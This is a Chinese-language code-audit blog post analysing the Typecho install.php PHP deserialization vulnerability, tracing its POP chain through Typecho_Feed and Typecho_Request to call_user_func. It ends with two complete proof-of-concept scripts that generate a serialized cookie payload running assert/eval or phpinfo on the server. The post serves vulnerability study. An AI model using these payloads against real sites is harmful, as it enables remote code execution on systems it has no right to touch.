PHP審計之PHP反序列化漏洞

PHP審計之PHP反序列化漏洞

前言

一直不懂,PHP反序列化感覺上比Java的反序列化難上不少。但歸根結底還是serializeunserialize中的一些問題。

在此不做多的介紹。

魔術方法

在php的反序列化中會用到各種魔術方法

__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷燬時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發,不僅僅是echo的時候,比如file_exists()判斷也會觸發
__invoke() //當腳本嘗試將對象調用爲函數時觸發

代碼審計

尋覓漏洞點

定位到漏洞代碼install.php

 <?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                <h1 class="typecho-install-title"><?php _e('安裝失敗!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('您沒有上傳 config.inc.php 文件,請您重新安裝!'); ?> <button class="btn primary" type="submit"><?php _e('重新安裝 &raquo;'); ?></button></p>
                    </form>
                </div>
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                <h1 class="typecho-install-title"><?php _e('沒有安裝!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('您沒有執行安裝步驟,請您重新安裝!'); ?> <button class="btn primary" type="submit"><?php _e('重新安裝 &raquo;'); ?></button></p>
                    </form>
                </div>
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

前面的幾個判斷比較簡單,判斷finish傳參的值是否存在,然後判斷/config.inc.php文件是否存在,按照慣例,在php安裝完成後,會建立一個標識文件,進行識別程序是否安裝,避免重複安裝問題。

後面代碼即走到這一步

 <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

接收Cookie中__typecho_config的值,進行base64解密後再反序列化的操作。將反序列化後的數據存到$config中,來到下面,清空cookie的值,然後實例化一個Typecho_Db對象,將$config['adapter']$config['prefix']進行存儲到該對象中。

尋找POP鏈

這時候需要尋找一個pop鏈,在PHP中一般以__construct方法來做反序列化反序列化的第一個觸發點,而在Java裏面則是需要反序列化的該對象被重寫後的readObject方法。

來看到Db.php文件

 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 獲取適配器名稱 */
        $this->_adapterName = $adapterName;

        /** 數據庫適配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化內部變量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //實例化適配器對象
        $this->_adapter = new $adapterName();
    }

這裏的$adapterName變量並且了一串Typecho_Db_Adapter_字符串,假設$adapterName爲一個對象的話,即可觸發到__toString()方法。

尋找__toString方法

Feed.php __toString方法代碼

 foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }

            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;

            $result .= $content . '</rdf:RDF>';

        } else if (self::RSS2 == $this->_type) {
            ...
        }

self::RSS2 == $this->_type中比較是否對等,self::RSS2RSS 2.0字符串。

所以說需要走到這個判斷條件下的邏輯在需要構造$this->_type這個數據。

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                ...
            }

下面這裏調用了$item['author']->screenName,如果 $item['author'] 中存儲的類沒有'screenName'屬性或該屬性爲私有屬性,此時會觸發該類中的 __get() 魔法方法.

尋找__get方法

/var/Typecho/Request.php

public function __get($key)
    {
        return $this->get($key);
    }

$key 傳入的值爲 scrrenName

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

$this->_params[$key]值存在,即將該值賦值給$value,然後判斷該值不等於數組和小於0則數據不變。

然後調用$this->_applyFilter($value)

繼續看到_applyFilter

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

關鍵地方在於上面代碼中,判斷$this->_filter是否存在並且遍歷filter,假設上面傳入的$value爲數組則調用array_map($filter, $value),否則則調用call_user_func($filter, $value)

這兩個都回調方法都可以進行代碼代碼執行。

調用鏈:

Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter

構造POP鏈

來看看需要構造的數據

  1. Typecho_Db__construct 方法$adapterName變量需要爲一個對象,並且是能觸發到一個點的對象。根據上面尋找到的是Typecho_Feed這個實例化對象拼接字符串的話,會觸發__toString 。因此這個方法的參數第一個傳遞Typecho_Feed,而第二個參數傳遞typecho_

  2. 上面分析Feed這個點的時候,需要將self::RSS2設置爲RSS 2.0,這個$this->_items[author]傳入一個不存在或者是方法爲私有屬性的screenName方法的類。這樣可以去自動去調用__get。在上面尋找到的是Typecho_Request,所以這裏傳入一個Typecho_Request實例化對象。進行自動調用__get

  3. Typecho_Request198行中$this->_params[$key]這個key的值是scrrenName,即爲$this->_params[scrrenName],則這個值需要設置爲一個需要執行的代碼。

  4. 最後走到_applyFilter這裏遍歷了$this->_filter後,進行調用array_mapcall_user_func,並且分別傳入$filter, $value。那麼這裏即需要設置一個$this->_filter爲一個代碼執行的方法。那麼即可把整一個鏈給到代碼執行給串聯起來。

調試POP鏈

但是當我們按照上面的所有流程構造poc之後,發請求到服務器,卻會返回500.

install.php的開始,調用了ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函數將打開輸出緩衝。當輸出緩衝激活後,腳本將不會輸出內容(除http標頭外),相反需要輸出的內容被存儲在內部緩衝區中。(因此可選擇回調函數用於處理輸出結果信息)

該函數可以讓你自由地控制腳本中數據的輸出。比如可以用在輸出靜態化頁面上。而且,當你想在數據已經輸出後,再輸出文件頭的情況。輸出控制函數不對使用 header() 或 setcookie(), 發送的文件頭信息產生影響,只對那些類似於 echo() 和 PHP 代碼的數據塊有作用。原因是當打開了緩衝區,echo後面的字符不會輸出到瀏覽器,而是保留在服務器,直到你使用flush或者ob_end_flush纔會輸出,所以並不會有任何文件頭輸出的錯誤。

因爲我們上面對象注入的代碼觸發了原本的exception,導致ob_end_clean()執行,原本的輸出會在緩衝區被清理。

我們必須想一個辦法強制退出,使得代碼不會執行到exception,這樣原本的緩衝區數據就會被輸出出來。

這裏有兩個辦法。 1、因爲call_user_func函數處是一個循環,我們可以通過設置數組來控制第二次執行的函數,然後找一處exit跳出,緩衝區中的數據就會被輸出出來。 2、第二個辦法就是在命令執行之後,想辦法造成一個報錯,語句報錯就會強制停止,這樣緩衝區中的數據仍然會被輸出出來。

這裏使用的是上面說的第二個辦法。

<?php

	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('phpinfo();exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

另外一個方法,直接mark過來,POC如下:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定義ATOM 1.0類型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定義RSS時間格式 */
    const DATE_RFC822 = 'r';
    /** 定義ATOM時間格式 */
    const DATE_W3CDTF = 'c';
    /** 定義行結束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

參考

[紅日安全]代碼審計Day11 - unserialize反序列化漏洞

Typecho-反序列化漏洞學習

Typecho 前臺 getshell 漏洞分析

結尾

PHP的反序列化相當於Java的反序列化個人感覺PHP的反序列化比較靈活,可以結合各種魔術方法做聯動。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章